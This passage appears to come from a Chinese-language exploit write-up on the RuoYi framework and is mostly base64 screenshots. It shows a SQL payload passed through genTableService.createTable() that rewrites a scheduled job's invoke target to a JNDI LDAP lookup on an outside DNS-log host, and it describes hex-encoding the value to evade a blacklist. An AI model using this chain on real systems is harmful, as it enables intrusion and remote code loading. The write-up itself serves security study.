dqUY1uhtAdu7XX/391dff9GrXRkq6dp5DQtnxn3oNv7h6HkmBVqrz9vDu86+SWt4dfI696V/8bGIqD/z0BXI6++jUH/L4ncls+/0veLeo+8v82JU3sW7BWGKC/dFb6qnIS2Xzyy/ydUl3fa70d+ieFv7fl6zMWz+LeD8zVSf2sOGF13q0z9V+7HL7XCzn0uX1mMrt/7yHsQf/yU+fSuv6I4XymMrt/7qH4bse4H9eygJN6zrfZ55vYd7Vc0kMtFKTt48Nz73KvvLuoOPcf9/21dLQiJUgdA5VSb/6dvcrtHFMjjJQdGQ/pq7XwI7droHVQquTXXTGaCIpZ0e9swpjiQ6AilxT1+1GlPInPigAGsscRjiGERPkSWtt6WmmfLTXV5Nf1uP2JQ2tTUAAysnHryUzjayWeaSMTIS03NNcACGEEEIIMdhWXBRKmNFw2nIRwQYunRnCBzur+i3jOfYKrpth5vOHPyDPpnGmM64nDQ8iwPf0UVignwcThwdyILvutGUBlFcyV980H9+st9iardwK+JpMjSibHU2vY9SaUV0Bo7vBY7sQjEFgCZvLL/53Ml4FWRQ0+jBy3vXMnT2RFx98nJ2VZ/7dsTN4fPSRfwJwx50/AfoPIAcePgZ7EUQLZSXtX4biLh7DrStDCbU38UW6BbtBh3u3DwUtIpbbbhtGcH4Jn7zTQEtgIHMWjODOQD
<p blockindex=100>这块直接调用了<code>genTableService.createTable()</code>,咱直接跟进去看看</p>
<p blockindex=101><img src=data:image/png;base64,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
<p blockindex=102>Mapper语句：</p>
<p blockindex=103><img src="data:image/png;base64,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
<p blockindex=104>接下来创建一个定时任务调用这个类，直接从sys_job表中把某一个定时任务调用目标字符串(invoke_target字段)改了</p>
<p blockindex=105>先谈个dnslog试试</p>
<pre blockindex=106><code class="hljs language-php">genTableServiceImpl.createTable(<span class=hljs-string>'UPDATE sys_job SET invoke_target = '</span>javax.naming.InitialContext.lookup(<span class=hljs-string>'ldap://xcrlginufj.dgrh3.cn'</span>)<span class=hljs-string>' WHERE job_id = 1;'</span>)
</code></pre>
<p blockindex=107>但会触发黑名单</p>
<p blockindex=108><img src="data:image/png;base64,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
<p blockindex=109>由于是执行sql语句，直接将value转为16进制即可</p>
<p blockindex=110><img src="data:image/png;base64,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